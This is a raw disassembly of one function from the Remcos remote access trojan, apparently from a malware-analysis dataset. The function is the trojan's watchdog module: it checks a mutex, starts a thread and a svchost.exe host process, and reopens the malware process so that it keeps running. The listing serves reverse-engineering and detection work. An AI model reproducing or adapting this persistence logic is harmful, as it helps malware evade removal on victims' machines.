Function at 0x40f4b7
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x7c
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
mov ebx, 0x46c518
push 0x4603f4
mov ecx, ebx
call fcn.00401f75
mov edx, eax
call fcn.004105a0
pop ecx
pop ecx
test al, al
jne 0x40f4f0
xor eax, eax
inc eax
jmp 0x40f717
push str.Mutex_RemWatchdog
xor edi, edi
push edi
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
test eax, eax
je 0x40f590
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 0x18
mov ecx, esp
push str.Remcos_restarted_by_watchdog_
call fcn.00402064
sub esp, 0x18
mov esi, str._Info_
mov ecx, esp
push esi
call fcn.00402064
call fcn.004165d8
add esp, 0x18
mov ecx, esp
push str.Watchdog_module_activated
call fcn.00402064
sub esp, 0x18
mov ecx, esp
push esi
call fcn.00402064
call fcn.004165d8
add esp, 0x30
push edi
push edi
push edi
push 0x40fae9
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
lea eax, [esp + 0xc]
mov esi, 0x460868
push eax
push esi
mov ecx, ebx
call fcn.00401f75
mov edx, eax
call fcn.00410275
pop ecx
pop ecx
test al, al
je 0x40f4e8
jmp 0x40f720
lea ecx, [esp + 0x28]
call fcn.004020b5
mov ecx, 0x46c500
call fcn.00401ecb
lea edx, [esp + 0x28]
mov ecx, eax
call fcn.00417334
lea ecx, [esp + 0x10]
call fcn.00401f4d
call fcn.00416f6c
test al, al
jne 0x40f612
push 0x46086c
lea ecx, [esp + 0x74]
call fcn.0040425f
push eax
push str.WinDir
call fcn.0043918f
pop ecx
push eax
lea ecx, [esp + 0x60]
call fcn.0040425f
mov edx, eax
lea ecx, [esp + 0x44]
call fcn.00403010
pop ecx
push eax
lea ecx, [esp + 0x14]
call fcn.00401eda
lea ecx, [esp + 0x40]
call fcn.00401ed0
lea ecx, [esp + 0x58]
call fcn.00401ed0
lea ecx, [esp + 0x70]
jmp 0x40f662
push str.SysWOW64
lea ecx, [esp + 0x44]
call fcn.0040425f
push eax
push str.WinDir
call fcn.0043918f
pop ecx
push eax
lea ecx, [esp + 0x60]
call fcn.0040425f
mov edx, eax
lea ecx, [esp + 0x74]
call fcn.00403010
pop ecx
push eax
lea ecx, [esp + 0x14]
call fcn.00401eda
lea ecx, [esp + 0x70]
call fcn.00401ed0
lea ecx, [esp + 0x58]
call fcn.00401ed0
lea ecx, [esp + 0x40]
call fcn.00401ed0
push str._svchost.exe
lea ecx, [esp + 0x14]
call fcn.0040766e
push 0x46bd50
lea ecx, [esp + 0x2c]
call fcn.00401f75
lea ecx, [esp + 0x14]
mov esi, eax
call fcn.00401ecb
mov edx, esi
mov ecx, eax
call fcn.00413aca
pop ecx
sub esp, 0x18
mov ecx, esp
test al, al
je 0x40f6d5
push str.Watchdog_module_activated
call fcn.00402064
sub esp, 0x18
mov ecx, esp
push str._Info_
call fcn.00402064
call fcn.004165d8
add esp, 0x30
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [0x46bd58]
jmp 0x40f749
push str.Watchdog_launch_failed_
call fcn.00402064
sub esp, 0x18
mov ecx, esp
push str._ERROR_
call fcn.00402064
call fcn.004165d8
add esp, 0x30
push dword [0x46bd60]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x10]
call fcn.00401ed0
lea ecx, [esp + 0x28]
call fcn.00401fa7
push 3
pop eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
push dword [esp + 0xc]
push edi
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push esi
mov ecx, ebx
mov dword [0x46bd50], eax
call fcn.00401f75
mov edx, eax
call fcn.004106d2
pop ecx
mov ecx, dword [esp + 0xc]
call fcn.0040f74f
int3